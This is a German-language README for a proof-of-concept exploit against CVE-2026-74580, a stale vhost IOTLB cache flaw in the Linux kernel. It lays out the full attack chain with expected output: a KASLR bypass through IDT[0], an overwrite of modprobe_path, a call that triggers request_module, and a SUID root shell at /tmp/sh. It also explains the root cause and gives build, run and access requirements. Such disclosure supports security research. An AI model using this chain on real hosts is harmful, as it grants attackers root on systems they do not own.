
C-Proof-of-Concept für CVE-2026-74580: nutzt einen veralteten vhost-IOTLB-Metadaten-Cache aus, um modprobe_path zu überschreiben und auf x86-64-Linux-Hosts zu Root-Rechten zu eskalieren.
Originalcode und Readme-Datei von: https://github.com/zhangutah/security-research
Erwartete Ausgabe:
./poc
=== vhost stale IOTLB metadata cache -> modprobe_path write ===
[*] static: _stext=0xffffffff81000000 asm_exc_de=0xffffffff81001030 modprobe_path=0xffffffff83731920
[*] modprobe_path before: "/tmp/pwn"
[*] Step 1: KASLR bypass via IDT[0]
[*] reading IDT[0] @ 0xfffffe0000000000
[+] asm_exc_divide_error runtime 0xffffffffa4e01030, slide 0x23e00000
[+] runtime modprobe_path @ 0xffffffffa7531920
[*] Step 2: overwriting modprobe_path with a marker
[+] kwrite_str: "/tmp/pwn" -> 0xffffffffa7531920
[*] Step 3: verifying via /proc/sys/kernel/modprobe
[*] modprobe_path after: "/tmp/pwn"
[*] Step 4: Privilege Escalation
[+] Triggered request_module() call.
[+] SUID shell created at /tmp/sh
[*] Exec shell at /tmp/sh ...
sh-5.3# whoami
root
vq->meta_iotlb[] speichert das IOTLB-Mapping hinter jedem vring-Metadatenbereich
(desc / avail / used) zwischen. VHOST_SET_VRING_ADDR und VHOST_SET_VRING_NUM
setzen diesen Cache nicht zurück. Mit einem angehängten Geräte-IOTLB kann eine aktive vq
einen neu konfigurierten vring über ein Mapping übersetzen, das ihn nicht mehr abdeckt.
vhost_vq_meta_fetch() führt keine Bereichsprüfung durch, und das Ergebnis wird an
__copy_to_user() / __copy_from_user() übergeben.
Derselbe veraltete Cache ist von einem Gast aus erreichbar, wenn vhost im
Geräte-IOTLB-Modus läuft (VIRTIO_F_ACCESS_PLATFORM / vIOMMU) und der Gast eine
Virtqueue über VIRTIO_F_RING_RESET zurücksetzt. Dieser Pfad ist nicht Gegenstand dieses PoC.
de845981da67poc.c ist ein Host-x86-64-PoC gegen /dev/vhost-vsock. Er öffnet eine Root-Shell mit euid=0. Er erstellt /tmp/sh als suid root. Löschen Sie die Datei nach dem manuellen Testen!
cc -O2 -Wall -Wextra -o poc poc.c
./poc
Die Symbolsuche verwendet in dieser Reihenfolge: $SYSTEM_MAP, /boot/System.map-$(uname -r),
/usr/lib/modules/$(uname -r)/build/System.map. modprobe_path muss
vorhanden sein; asm_exc_divide_error fällt bei Fehlen auf eine statische Adresse zurück.
Der Prozess muss in der Lage sein, /dev/vhost-vsock zu öffnen. Einige Images liefern diesen Node
mit 0666; andere mit 0660 root:kvm.
Nur auf einem wegwerfbaren Testsystem ausführen, das Ihnen gehört.